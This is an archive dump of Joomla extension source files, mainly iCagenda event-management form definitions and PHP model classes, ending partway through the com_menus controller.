		<field name="checked_out" type="hidden" filter="unset" />
		<field name="checked_out_time" type="hidden" filter="unset" />
		<field
			name="catid"
			type="modal_cat"
			label="COM_ICAGENDA_FORM_LBL_EVENT_CATID"
			description="COM_ICAGENDA_FORM_DESC_EVENT_CATID"
			class="inputbox"
			required="true"
			labelclass="control-label"
			/>
		<field
			name="image"
			type="file"
			label="COM_ICAGENDA_FORM_LBL_EVENT_IMAGE"
			description="COM_ICAGENDA_FORM_DESC_EVENT_IMAGE"
			accept="image/*"
			filter="safehtml"
			labelclass="control-label"
			/>
		<field
			name="file"
			type="file"
			label="COM_ICAGENDA_FORM_LBL_EVENT_FILE"
			description="COM_ICAGENDA_FORM_DESC_EVENT_FILE"
			class="inputbox"
			id="upload_file"
			labelclass="control-label"
			/>
		<field
			name="displaytime"
			type="radio"
			label="COM_ICAGENDA_DISPLAY_TIME_LABEL"
			description="COM_ICAGENDA_DISPLAY_TIME_DESC"
			class="btn-group"
			default="1"
			labelclass="control-label"
			>
			<option value="0" class="ic-btn">JHIDE</option>
			<option value="1" class="ic-btn">JSHOW</option>
		</field>
		<field
			name="dates"
			type="modal_date"
			label="COM_ICAGENDA_FORM_LBL_EVENT_DATES"
			description="COM_ICAGENDA_FORM_DESC_EVENT_DATES"
			class="inputbox"
			default="0000-00-00 00:00:00"
			/>
		<field
			name="time"
			type="modal_time"
			label="COM_ICAGENDA_FORM_LBL_EVENT_TIME"
			description="COM_ICAGENDA_FORM_DESC_EVENT_TIME"
			size="40"
			class="inputbox"
			filter="safehtml"
			labelclass="control-label"
			/>
		<field
			name="startdate"
			type="modal_startdate"
			label="COM_ICAGENDA_FORM_LBL_EVENTPERIOD_START"
			description="COM_ICAGENDA_FORM_DESC_EVENTPERIOD_START"
			class="inputbox"
			default="0000-00-00 00:00:00"
			/>
		<field
			name="enddate"
			type="modal_enddate"
			label="COM_ICAGENDA_FORM_LBL_EVENTPERIOD_END"
			description="COM_ICAGENDA_FORM_DESC_EVENTPERIOD_END"
			class="inputbox"
			default="0000-00-00 00:00:00"
			/>
		<field
			name="weekdays"
			type="list"
			label="COM_ICAGENDA_FORM_LBL_WEEK_DAYS"
			description=""
			multiple="true"
			default=""
			labelclass="control-label"
			>
			<option value="0">SUNDAY</option>
			<option value="1">MONDAY</option>
			<option value="2">TUESDAY</option>
			<option value="3">WEDNESDAY</option>
			<option value="4">THURSDAY</option>
			<option value="5">FRIDAY</option>
			<option value="6">SATURDAY</option>
		</field>
		<field
			name="shortdesc"
			type="modal_ictextarea_counter"
			label="COM_ICAGENDA_SUBMIT_AN_EVENT_SHORT_DESCRIPTION_LBL"
			description="COM_ICAGENDA_SUBMIT_AN_EVENT_SHORT_DESCRIPTION_DESC"
			class="ic-submit-shortdesc"
			row="3"
			cols="80"
			/>
		<field
			name="desc"
			type="editor"
			label="COM_ICAGENDA_FORM_LBL_EVENT_DESC"
			description="COM_ICAGENDA_SUBMIT_AN_EVENT_DESCRIPTION_DESC"
			buttons="false"
			labelclass="control-label"
			filter="safehtml"
			/>
		<field
			name="metadesc"
			type="modal_ictextarea_counter"
			label="COM_ICAGENDA_FORM_EVENT_METADESC_LBL"
			description="COM_ICAGENDA_SUBMIT_AN_EVENT_METADESC_DESC"
			class="ic-submit-metadesc"
			row="3"
			cols="80"
			/>
		<field
			name="next"
			type="hidden"
			label="COM_ICAGENDA_FORM_LBL_EVENT_NEXT"
			description="COM_ICAGENDA_FORM_DESC_EVENT_NEXT"
			class="inputbox"
			default="0000-00-00 00:00:00"
			labelclass="control-label"
			/>
		<field
			name="email"
			type="email"
			label="COM_ICAGENDA_FORM_LBL_EVENT_EMAIL"
			description="COM_ICAGENDA_FORM_DESC_EVENT_EMAIL"
			size="40"
			class="input-xlarge"
			filter="safehtml"
			labelclass="control-label"
			/>
		<field
			name="phone"
			type="text"
			label="COM_ICAGENDA_FORM_LBL_EVENT_PHONE"
			description="COM_ICAGENDA_FORM_DESC_EVENT_PHONE"
			size="30"
			class="input-large"
			filter="safehtml"
			labelclass="control-label"
			/>
		<field
			name="website"
			type="text"
			label="COM_ICAGENDA_FORM_LBL_EVENT_WEBSITE"
			description="COM_ICAGENDA_FORM_DESC_EVENT_WEBSITE"
			size="30"
			class="input-large"
			filter="safehtml"
			labelclass="control-label"
			/>
		<field
			name="place"
			type="text"
			label="COM_ICAGENDA_FORM_LBL_EVENT_PLACE"
			description="COM_ICAGENDA_FORM_DESC_EVENT_PLACE"
			size="30"
			class="input-large"
			id="place"
			filter="safehtml"
			labelclass="control-label"
			/>
		<field
			name="coordinate"
			type="modal_coordinate"
			label="COM_ICAGENDA_FORM_LBL_EVENT_MAP"
			description="COM_ICAGENDA_FORM_DESC_EVENT_MAP"
			class="inputbox"
			labelclass="control-label"
			/>
		<field
			name="address"
			type="text"
			label="COM_ICAGENDA_GOOGLE_MAPS_ADDRESS_LBL"
			description="COM_ICAGENDA_FORM_DESC_EVENT_LOCATION"
			class="input-xlarge"
			filter="safehtml"
			labelclass="control-label"
			/>
		<field
			name="city"
			type="icmap_city"
			label="COM_ICAGENDA_FORM_LBL_EVENT_CITY"
			description="COM_ICAGENDA_FORM_DESC_EVENT_CITY"
			class="input-large icmap-input"
			filter="safehtml"
			labelclass="control-label"
			/>
		<field
			name="country"
			type="icmap_country"
			label="COM_ICAGENDA_FORM_LBL_EVENT_COUNTRY"
			description="COM_ICAGENDA_FORM_DESC_EVENT_COUNTRY"
			class="input-large icmap-input"
			filter="safehtml"
			labelclass="control-label"
			/>
		<field
			name="lat"
			type="icmap_lat"
			label="LATITUDE"
			description="COM_ICAGENDA_FORM_DESC_EVENT_MAP"
			class="input-large icmap-input"
			labelclass="control-label"
			/>
		<field
			name="lng"
			type="icmap_lng"
			label="LONGITUDE"
			description="COM_ICAGENDA_FORM_DESC_EVENT_MAP"
			class="input-large icmap-input"
			labelclass="control-label"
			/>
		<field
			name="custom_fields"
			type="hidden"
			class="input-large"
			default=""
			/>
		<field
			name="site_itemid"
			type="hidden"
			label="COM_ICAGENDA_FORM_FRONTEND_SUBMIT_ITEMID_LBL"
			description="COM_ICAGENDA_FORM_FRONTEND_SUBMIT_ITEMID_DESC"
			size="3"
			class="inputbox"
			default="0"
			/>
		<field
			name="captcha"
			type="captcha"
			label="COM_ICAGENDA_CAPTCHA_LABEL"
			description="COM_ICAGENDA_CAPTCHA_DESC"
			validate="captcha"
			namespace="submit"
		/>
	</fieldset>

	<fields name="params">
		<fieldset name="registrations" label="COM_ICAGENDA_REGISTRATION_OPTIONS"
			addfieldpath="/administrator/components/com_icagenda/assets/elements">
			<!--field
				name="statutReg"
				type="radio"
				label="COM_ICAGENDA_REGISTRATION_LABEL"
				description="COM_ICAGENDA_REGISTRATION_DESC"
				class="btn-group ic-btn-group"
				labelclass="control-label"
				default="0"
				>
				<option value="0" class="ic-btn">JOFF</option>
				<option value="1" class="ic-btn">JON</option>
			</field-->
			<field
				name="typeReg"
				type="list"
				label="COM_ICAGENDA_TYPE_REG_LABEL"
				description="COM_ICAGENDA_TYPE_REG_DESC"
				default="1"
				>
				<option value="1">COM_ICAGENDA_REG_BY_INDIVIDUAL_DATE</option>
				<option value="2">COM_ICAGENDA_REG_FOR_ALL_DATES</option>
			</field>
			<field
				name="accessReg"
				type="hidden"
				label="JFIELD_ACCESS_LABEL"
				description="JFIELD_ACCESS_DESC"
				size="1"
				class="inputbox"
				labelclass="control-label"
				default=""
				/>
			<!--field
				name="maxReg"
				type="text"
				label="COM_ICAGENDA_MAX_REGISTRATIONS_LABEL"
				description="COM_ICAGENDA_MAX_REGISTRATIONS_DESC"
				size="3"
				default=""
				labelclass="control-label"
				/-->
			<field
				name="maxRlistGlobal"
				class="btn-group"
				type="hidden"
				default=""
				label="COM_ICAGENDA_MAX_PER_REGISTRATION_LABEL"
				description="COM_ICAGENDA_MAX_PER_REGISTRATION_DESC"
				labelclass="control-label"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="2">COM_ICAGENDA_LBL_CUSTOM_VALUE</option>
			</field>
			<field
				name="maxRlist"
				type="hidden"
				label=" "
				description="COM_ICAGENDA_DESC_CUSTOM_VALUE"
				size="2"
				default=""
				labelclass="control-label"
				/>
		</fieldset>
		<!--fieldset name="captcha">
			<field
				name="captcha"
				type="captcha"
				label="COM_ICAGENDA_CAPTCHA_LABEL"
				description="COM_ICAGENDA_CAPTCHA_DESC"
				validate="captcha"
				namespace="submit"
			/>
		</fieldset-->
	</fields>
</form>
com_icagenda/models/forms/registration.xml000060400000006614152453734450015021 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset addfieldpath="/administrator/components/com_icagenda/models/fields">
		<field
			name="id"
			type="text"
			class="readonly"
			label="JGLOBAL_FIELD_ID_LABEL"
			description ="JGLOBAL_FIELD_ID_DESC"
			size="10"
			default="0"
			readonly="true"
			/>
		<field
			name="state"
			type="list"
			label="JSTATUS"
			description="JFIELD_PUBLISHED_DESC"
			class="span12 small"
			filter="intval"
			size="1"
			default="1"
			>
				<option value="1">JPUBLISHED</option>
				<option value="0">JUNPUBLISHED</option>
				<option value="2">JARCHIVED</option>
				<option value="-2">JTRASHED</option>
		</field>
		<field
			name="userid"
			type="user"
			label="COM_ICAGENDA_REGISTRATION_USERID"
			description =" "
			size="10"
			default="0"
			/>
		<!--field
			name="itemid"
			type="text"
			label="ITEMID"
			description =" "
			size="10"
			default="0"
			readonly="true"
			/-->
		<field
			name="eventid"
			type="modal_evt"
			label="ICEVENT"
			description =" "
			size="10"
			default="0"
			readonly="true"
			/>
		<field
			name="date"
			type="modal_evt_date"
			size="30"
			class="inputbox"
			label="COM_ICAGENDA_REGISTRATION_DATE"
			description=" "
			filter="safehtml"
			/>
		<field
 			name="name"
 			type="text"
 			label="COM_ICAGENDA_REGISTRATION_USER"
			description=" "
			size="30"
			required="true"
			/>
		<field
			name="email"
			type="email"
			size="30"
			class="inputbox"
			label="COM_ICAGENDA_REGISTRATION_EMAIL"
			description=" "
			filter="safehtml"
			/>
		<field
			name="phone"
			type="text"
			size="30"
			class="inputbox"
			label="COM_ICAGENDA_REGISTRATION_PHONE"
			description=" "
			filter="safehtml"
			/>
		<!--field
			name="period"
			type="radio"
			class="btn-group"
			default="0"
			label="COM_ICAGENDA_REGISTRATION_ALL_DATES"
			description=" "
			labelclass="control-label"
			>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
		</field-->
		<field
			name="period"
			type="hidden"
			default="0"
			label="COM_ICAGENDA_REGISTRATION_ALL_DATES"
			description=" "
			labelclass="control-label"
			/>
		<field
			name="people"
			type="text"
			size="30"
			class="inputbox input-mini"
			label="COM_ICAGENDA_REGISTRATION_NUMBER_PLACES"
			default="1"
			description=" "
			filter="safehtml"
			/>
		<field
			name="notes"
			type="editor"
			buttons="readmore,pagebreak"
			class="inputbox"
			filter="JComponentHelper::filterText"
			label="COM_ICAGENDA_REGISTRATION_NOTES_DISPLAY_LABEL"
			description=" "
			/>
		<field
			name="custom_fields"
			type="hidden"
			class="inputbox"
			default=""
			/>
		<field
			name="created"
			type="calendar"
			label="JGLOBAL_FIELD_CREATED_LABEL"
			format="%Y-%m-%d %H:%M:%S"
			filter="user_utc"
			/>
		<field
			name="created_by"
			type="user"
			label="JGLOBAL_FIELD_CREATED_BY_LABEL"
			description="JGLOBAL_FIELD_CREATED_BY_DESC"
			/>
		<field
			name="modified"
			type="calendar"
			label="JGLOBAL_FIELD_MODIFIED_LABEL"
			class="readonly"
			size="22"
			readonly="true"
			format="%Y-%m-%d %H:%M:%S"
			filter="user_utc"
			/>
		<field
			name="modified_by"
			type="user"
			label="JGLOBAL_FIELD_MODIFIED_BY_LABEL"
			description="JGLOBAL_FIELD_MODIFIED_BY_DESC"
			class="readonly"
			readonly="true"
			filter="unset"
			/>
		<field name="checked_out" type="hidden" filter="unset" />
		<field name="checked_out_time" type="hidden" filter="unset" />

	</fieldset>
</form>
com_icagenda/models/index.html000060400000000032152453734450012420 0ustar00<html><body></body></html>com_icagenda/models/list.php000060400000037054152453734450012125 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.4 2015-04-10
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport( 'joomla.filesystem.path' );

// Load file helpers

if (!class_exists('iCModelItem')) require(JPATH_COMPONENT . '/helpers/icmodel.php');
if (!class_exists('iCModeliChelper')) require(JPATH_COMPONENT . '/helpers/ichelper.php');


/**
 * icagenda Model
 */
class icagendaModelList extends iCModelItem
{
	/**
	 * Get Form - Registration
	 *
	 * @since	3.4.1
	 */
	public function getForm()
	{
	    $form = JForm::getInstance('submit', JPATH_COMPONENT . '/models/forms/registration.xml');

		if (empty($form))
		{
			return false;
		}

	    return $form;
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @since	3.6
	 */
	protected function populateState()
	{
		// Initialise variables.
		$app		= JFactory::getApplication();
		$context	= $app->input->get('option') . '.' . $app->input->get('view');

		// Load the filter state.
		$search = $app->getUserStateFromRequest($context.'.filter.search', 'filter_search');
		//Omit double (white-)spaces and set state
		$this->setState('filter.search', preg_replace('/\s+/',' ', $search));

		//Filter (dropdown) state
		$state = $app->getUserStateFromRequest($context.'.filter.state', 'filter_state', '', 'string');
		$this->setState('filter.state', $state);

		//Filter (dropdown) company
		$category = $app->getUserStateFromRequest($context.'.filter.category', 'filter_category', '', 'string');
		$this->setState('filter.category', $category);
	}

	/**
	 * Get Params
	 *
	 * @since	1.0
	 */
	public function getData()
	{
		$this->startiCModel();

		// Import params
		$app = JFactory::getApplication();
		$icpar = $app->getParams();

		// Get Current Layout
		$jlayout		= $app->input->getCmd('layout', '');
//		$layouts_array	= array('event', 'registration', 'actions');
//		$layout			= in_array($jlayout, $layouts_array) ? $jlayout : '';

		$user	= JFactory::getUser();
		$userid	= $user->get('id');

		// Get Registration Post Data // TO BE REMOVED WHEN NEW REGISTRATION VIEW
		$regpost = JRequest::get('post');

		// Process registration function to save data (icmodel.php) // TO BE REMOVED WHEN NEW REGISTRATION VIEW
		if ($app->input->get('event'))
		{
			$this->registration($regpost);
		}

		// filters
		$this->addFilter('state', 1);

		$id = JRequest::getInt('id');

//		if ( $jlayout
//			&& ( ! $id) || ( ! preg_match("/^[0-9]+$/", $id)))
//		{
//			JError::raiseError('404',JTEXT::_('JERROR_LAYOUT_PAGE_NOT_FOUND'));

//			return false;
//		}

		$Itemid = JRequest::getInt('Itemid');

		if ($id)
		{
			$this->addFilter('id', $id);
		}
		else
		{
			if(JRequest::getVar('key', '', 'post')) $this->addFilter('key', JRequest::getVar('key', '','post'));
			if($icpar->get('mcatid')) $this->addFilter('e.catid', $icpar->get('mcatid'));
			if($icpar->get('place')) $this->addFilter('e.place', $icpar->get('place'));
			if($icpar->get('address')) $this->addFilter('e.address', $icpar->get('address'));
			if($icpar->get('time')) $this->addFilter('next', $icpar->get('time'));
		}

		$this->addOption('Itemid', $icpar->get('itemid', $Itemid));

		// Get Option Menu and Global for Type of Display for List of Events (all dates, or only next date, for each event)
		$this->addOption('datesDisplay', $icpar->get('datesDisplay', 1));

		$this->addOption('filterTime', $icpar->get('time', 1));

		// Menu Options
		$this->addOption('number', $icpar->get('number', 5));

		// App Options
		$this->addOption('orderby', $icpar->get('orderby', 2));
		$this->addOption('mcatid', $icpar->get('mcatid', array('0')));
//		$this->addOption('format', $icpar->get('format', 0));

		// Global Options
		$this->addOption('addthis', $icpar->get('addthis', ''));
		$this->addOption('atevent', $icpar->get('atevent', 1));
		$this->addOption('atfloat', $icpar->get('atfloat', ''));
		$this->addOption('aticon', $icpar->get('aticon', ''));
		$this->addOption('emailRequired', $icpar->get('emailRequired', 0));
		$this->addOption('limit', $icpar->get('limit', 100));
		$this->addOption('limitGlobal', $icpar->get('limitGlobal', 0));
		$this->addOption('maxRlist', $icpar->get('maxRlist', ''));
		$this->addOption('participantList', $icpar->get('participantList', ''));
		$this->addOption('participantSlide', $icpar->get('participantSlide', ''));
		$this->addOption('phoneRequired', $icpar->get('phoneRequired', 0));
		$this->addOption('RegButtonText', $icpar->get('RegButtonText', ''));
		$this->addOption('statutReg', $icpar->get('statutReg', ''));
		$this->addOption('timeformat', $icpar->get('timeformat', 1));
		$this->addOption('m_width', $icpar->get('m_width', '100%'));
		$this->addOption('m_height', $icpar->get('m_height', '300px'));
//		$this->addOption('date_format', $icpar->get('date_format', ''));
//		$this->addOption('date_separator', $icpar->get('date_separator', ' '));

		if($icpar->get('participantDisplay')) $this->addOption('participantDisplay', $icpar->get('participantDisplay'));
		if($icpar->get('fullListColumns')) $this->addOption('fullListColumns', $icpar->get('fullListColumns'));
		if($icpar->get('targetLink')) $this->addOption('targetLink', $icpar->get('targetLink'));
		if($icpar->get('arrowtext')) $this->addOption('arrowtext', $icpar->get('arrowtext'));
		if($icpar->get('accessReg')) $this->addOption('accessReg', $icpar->get('accessReg'));
		if($icpar->get('limitRegEmail')) $this->addOption('limitRegEmail', $icpar->get('limitRegEmail'));
		if($icpar->get('limitRegDate')) $this->addOption('limitRegDate', $icpar->get('limitRegDate'));
		if($icpar->get('maxReg')) $this->addOption('maxReg', $icpar->get('maxReg'));
		if($icpar->get('regEmailUser')) $this->addOption('regEmailUser', $icpar->get('regEmailUser'));
		if($icpar->get('emailUserSubjectPeriod')) $this->addOption('emailUserSubjectPeriod', $icpar->get('emailUserSubjectPeriod'));
		if($icpar->get('emailUserBodyPeriod')) $this->addOption('emailUserBodyPeriod', $icpar->get('emailUserBodyPeriod'));
		if($icpar->get('emailUserSubjectDate')) $this->addOption('emailUserSubjectDate', $icpar->get('emailUserSubjectDate'));
		if($icpar->get('emailUserBodyDate')) $this->addOption('emailUserBodyDate', $icpar->get('emailUserBodyDate'));
		if($icpar->get('headerList')) $this->addOption('headerList', $icpar->get('headerList'));


		// Struture
		$structure = array(
//			'container'=>array(
//				'header'=>'',
//				'navigator'=>'',
//			),
			'items' => array(
				'item' => array(
					'accessReg'=>'',
					'approval'=>'',
					'eventAllDates'=>'',
					'eventHasPeriod'=>'',
					'evtParams'=>'',
					'infoDetails'=>'',
					'statutReg'=>'',
					'titleFormat'=>'',

					'BackArrow'=>'',
					'BackURL'=>'',
					'id'=>'',
					'Itemid'=>'',
					'metaTitle'=>'',
					'metaDesc'=>'',
					'metaAsShortDesc'=>'',
					'state'=>'',
					'weekday'=>'',
					'weekdayShort'=>'',
					'timeformat'=>'',
					'participantList'=>'',
					'participantSlide'=>'',
					'participantDisplay'=>'',
					'fullListColumns'=>'',
					'participantListTitle'=>'',
					'arrowtext'=>'',
					'navposition'=>'',
					'headerList'=>'',
					'title'=>'',
					'titlebar'=>'',
					'ManagerIcons'=>'',
					'url'=>NULL,
					'Event_Link'=>'',
					'cat_id'=>'',
					'cat_title'=>'',
					'cat_color'=>'',
					'fontColor'=>'',
					'cat_desc'=>'',
					'shortdesc'=>'',
					'desc'=>'',
					'shortDescription'=>'',
					'description'=>'',
					'descShort'=>'',
					'image'=>'',
					'imageTag'=>'',
					'file'=>'',
					'fileTag'=>'',

					'displaytime'=>'',
					'next'=>'',
					'nextDate'=>'',
					'period'=>'',
					'startdatetime'=>'',
					'enddatetime'=>'',
					'nextControl'=>'',

					'start_datetime'=>'',
					'end_datetime'=>'',
					'dates'=>'',

					'startDate'=>'',
					'startDay'=>'',

					'endDate'=>'',
					'endDay'=>'',
					'endMonth'=>'',
					'endMonthNum'=>'',
					'endYear'=>'',

					'startTime'=>'',
					'endTime'=>'',

					'periodDates'=>'',
					'dateText'=>'',
					'periodDisplay'=>'',
					'periodControl'=>'',
					'weekdays'=>'',
					'day'=>'',
					'maxNbTickets'=>'',
					'ticketsCouldBeBooked'=>'',
					'registeredForThisDate'=>'',
					'maxReg'=>'',
					'maxRlist'=>'',
					'emailRequired'=>'',
					'phoneRequired'=>'',

					'month'=>'',
					'monthNum'=>'',

					'year'=>'',
					'yearShort'=>'',
					'evenTime'=>'',
					'dateFormat'=>'',
					'datelistMkt'=>'',
					'datelist'=>'',
					'datelistUl'=>'',
					'time'=>'',
					'address'=>'',
					'name'=>'',
					'email'=>'',
					'contact_name'=>'',
					'contact_email'=>'',
					'emailLink'=>'',
					'phone'=>'',
					'website'=>'',
					'websiteLink'=>'',
					'targetLink'=>'',
					'place_name'=>'',
					'place_desc'=>'',
					'city'=>'',
					'country'=>'',
					'coordinate'=>'',
					'lat'=>'',
					'lng'=>'',
					'map'=>'',
					'share'=>'',
					'share_event'=>'',
					'limitRegEmail'=>'',
					'limitRegDate'=>'',

					'gcalendarUrl'=>'',
					'yahoocalendarUrl'=>'',
					'wlivecalendarUrl'=>'',

					'registrations'=>'',

					'registered'=>'',
					'totalRegistered'=>'',
					'registeredUsers'=>'',
					'reg'=>'',
					'regUrl'=>'',
					'iCagendaRegForm'=>'',
					'typeReg'=>'',
					'regEmailUser'=>'',
					'emailUserSubjectPeriod'=>'',
					'emailUserBodyPeriod'=>'',
					'emailUserSubjectDate'=>'',
					'emailUserBodyDate'=>'',
					'language'=>'',
					'params'=>'',

					'gcalendarLink'=>'',
					'loadEventCustomFields'=>'',
					'features'=>'',

					'periodTest'=>'', // DEPRECATED
					'titleLink'=>'', // DEPRECATED
// REMOVED 3.5.3	'placeLeft'=>'',
				)
			)
		);

		return $this->getItems($structure);
	}

	/**
	 * Get Records.
	 *
	 * @return	object list.
	 * @since	3.3.8
	 */
	public function getRecords()
	{
		// Get the current user for authorisation checks
		$user	= JFactory::getUser();

		// Get Params for current view
		$app	= JFactory::getApplication();
		$params	= $app->getParams();

		// Select the required fields from the table.
		$db = JFactory::getDBO();
		$query = $db->getQuery(true);

		$query->select('e.*')
			->from($db->qn('#__icagenda_events') . ' AS e');

		// Join over the language
		$query->select('l.title AS language_title')
			->join('LEFT', $db->quoteName('#__languages') . ' AS l ON l.lang_code = e.language');

		// Join over the users for the checked out user.
//		$query->select('uc.name AS editor');
//		$query->join('LEFT', '#__users AS uc ON uc.id=e.checked_out');

		// Join over the asset groups.
		$query->select('ag.title AS access_level')
			->join('LEFT', '#__viewlevels AS ag ON ag.id = e.access');

		// Join the category
		$query->select('c.title AS category, c.color AS catcolor');
		$query->join('LEFT', '#__icagenda_category AS c ON c.id = e.catid');
		$query->where('c.state = 1');

		// Join over the users for the author.
//		$query->select('ua.name AS author_name, ua.username AS author_username')
//			->join('LEFT', '#__users AS ua ON ua.id = e.created_by');

		// Filter by published state
		$query->where('e.state = 1');

		// Event is approved
		$query->where('e.approval <> 1');

		// Filter by access level.
		$access_levels = implode(',', $user->getAuthorisedViewLevels());

		$query->where('e.access IN (' . $db->q($access_levels) . ')');
//			->where('c.access IN (' . $db->q($access_levels) . ')'); // To be added later, when access integrated to category

		// Filter by language
		$query->where('e.language in (' . $db->q(JFactory::getLanguage()->getTag()) . ',' . $db->q('*') . ')');

		// Filter by Features
		$query->where(icagendaEventsData::getFeaturesFilter());

		// Filter by dates
		$dates_filter	= $params->get('time', 1); // Default Current and Upcoming Events

		// Get today date and datetime based on Joomla Config Timezone.
		$datetime_today	= JHtml::date('now', 'Y-m-d H:i:s');
		$date_today		= JHtml::date('now', 'Y-m-d');

		if (!empty($dates_filter))
		{
			// COM_ICAGENDA_OPTION_TODAY_AND_UPCOMING
			if ($dates_filter == '1')
			{
				$where_current_upcoming = $db->qn('e.next') . ' >= ' . $db->q($date_today);
				$where_current_upcoming.= ' OR (' . $db->qn('e.next') . ' < ' . $db->q($datetime_today) . ' AND ' . $db->qn('e.startdate') . ' <> "0000-00-00 00:00:00" AND ' . $db->qn('e.enddate') . ' > ' . $db->q($datetime_today) . ')';

				$query->where($where_current_upcoming);
			}

			// COM_ICAGENDA_OPTION_PAST
			elseif ($dates_filter == '2')
			{
				$where_past = '(';

				// Period dates with no weekdays filter
				$where_past.= $db->qn('e.next') . ' < ' . $db->q($datetime_today) . ')';
				$where_past.= ' AND (' . $db->qn('e.enddate') . ' < ' . $db->q($datetime_today);

				$where_past.= ' )';

				$query->where($where_past);
			}

			// COM_ICAGENDA_OPTION_FUTURE
			elseif ($dates_filter == '3')
			{
				$where_upcoming = '(';
				$where_upcoming.= $db->qn('e.next') . ' > ' . $db->q($datetime_today);
				$where_upcoming.= ' )';

				$query->where($where_upcoming);
			}

			// COM_ICAGENDA_OPTION_TODAY
			elseif ($dates_filter == '4')
			{
				$where_today = '( ';

				// One day dates filter
				$where_today.= ' (';
				$where_today.= ' (' . $db->qn('e.next') . ' >= ' . $db->q($datetime_today) . ')';
				$where_today.= ' AND (' . $db->qn('e.next') . ' < ' . $db->q($date_today) . ' + INTERVAL 1 DAY)';
				$where_today.= ' )';

				// Period dates with no weekdays filter
				$where_today.= ' OR ( ';
				$where_today.= ' (' . $db->qn('e.next') . ' > ' . $db->q($date_today) . ')';
				$where_today.= ' AND (' . $db->qn('e.weekdays') . ' = "")';
				$where_today.= ' AND ' . $db->qn('e.enddate') . ' <> "0000-00-00 00:00:00" AND (' . $db->qn('e.enddate') . ' >= ' . $db->q($date_today) . ')';
				$where_today.= ' AND ' . $db->qn('e.startdate') . ' <> "0000-00-00 00:00:00" AND (' . $db->qn('e.startdate') . ' < ' . $db->q($date_today) . ')';
				$where_today.= ' )';

				$where_today.= ' )';

				$query->where($where_today);
			}
		}

		// Order Next Date DESC
		$orderby	= $params->get('orderby', 2); // Default ASC
		$ordering	= ($orderby == 1) ? 'DESC' : 'ASC';

		$query->order('e.next ' . $ordering);

		// Tell the database connector what query to run.
		$db->setQuery($query);

		// Invoke the query or data retrieval helper.
		$db_list = $db->loadObjectList();

		return $db_list;
	}


   /**
    * Load Google Maps Scripts.
    *
    * @since	3.5.0
    */
	public static function loadGMapScripts()
	{
		// Google Maps api V3
		$document				= JFactory::getDocument();
		$scripts				= array_keys($document->_scripts);
		$mapsgooglescriptFound	= false;

		for ($i = 0; $i < count($scripts); $i++)
		{
    		if ( stripos($scripts[$i], 'maps.googleapis.com') !== false
    			&& stripos($scripts[$i], 'maps.gstatic.com') !== false )
			{
				$mapsgooglescriptFound = true;
			}
		}

		$doclang	= JFactory::getDocument();
		$curlang	= $doclang->language;
		$lang		= substr($curlang, 0, 2);

		if (!$mapsgooglescriptFound)
		{
			$document->addScript('https://maps.googleapis.com/maps/api/js?sensor=false&librairies=places&language=' . $lang);
		}

		JHtml::script( 'com_icagenda/icmap-front.js', false, true );
	}


   /**
    * Get the return URL.
    *
    * @return	string   The return URL.
    * @since	1.0
    */
	public function getReturnPage()
	{
		return base64_encode($this->getState('return_page'));
	}
}
com_icagenda/models/icagenda.php000060400000001657152453734450012705 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.4.0 2014-07-03
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport('joomla.application.component.modellist');

/**
 * Methods supporting a list of iCagenda records.
 */
// J2.5 : class iCagendaModelicagenda extends JModelList
class iCagendaModelicagenda extends JModelLegacy
{

}
com_menus/menus.php000060400000001061152453734450010377 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

if (!JFactory::getUser()->authorise('core.manage', 'com_menus'))
{
	throw new JAccessExceptionNotallowed(JText::_('JERROR_ALERTNOAUTHOR'), 403);
}

$controller = JControllerLegacy::getInstance('Menus');
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();
com_menus/controller.php000060400000004374152453734450011445 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Base controller class for Menu Manager.
 *
 * @since  1.6
 */
class MenusController extends JControllerLegacy
{
	/**
	 * Method to display a view.
	 *
	 * @param   boolean        $cachable   If true, the view output will be cached
	 * @param   array|boolean  $urlparams  An array of safe URL parameters and their variable types, for valid values see {@link JFilterInput::clean()}.
	 *
	 * @return  JController    This object to support chaining.
	 *
	 * @since   1.5
	 */
	public function display($cachable = false, $urlparams = false)
	{
		JLoader::register('MenusHelper', JPATH_ADMINISTRATOR . '/components/com_menus/helpers/menus.php');

		// Check custom administrator menu modules
		if (JModuleHelper::isAdminMultilang())
		{
			$languages = JLanguageHelper::getInstalledLanguages(1, true);
			$langCodes = array();

			foreach ($languages as $language)
			{
				if (isset($language->metadata['nativeName']))
				{
					$languageName = $language->metadata['nativeName'];
				}
				else
				{
					$languageName = $language->metadata['name'];
				}

				$langCodes[$language->metadata['tag']] = $languageName;
			}

			$db    = JFactory::getDbo();
			$query = $db->getQuery(true);

			$query->select($db->qn('m.language'))
				->from($db->qn('#__modules', 'm'))
				->where($db->qn('m.module') . ' = ' . $db->quote('mod_menu'))
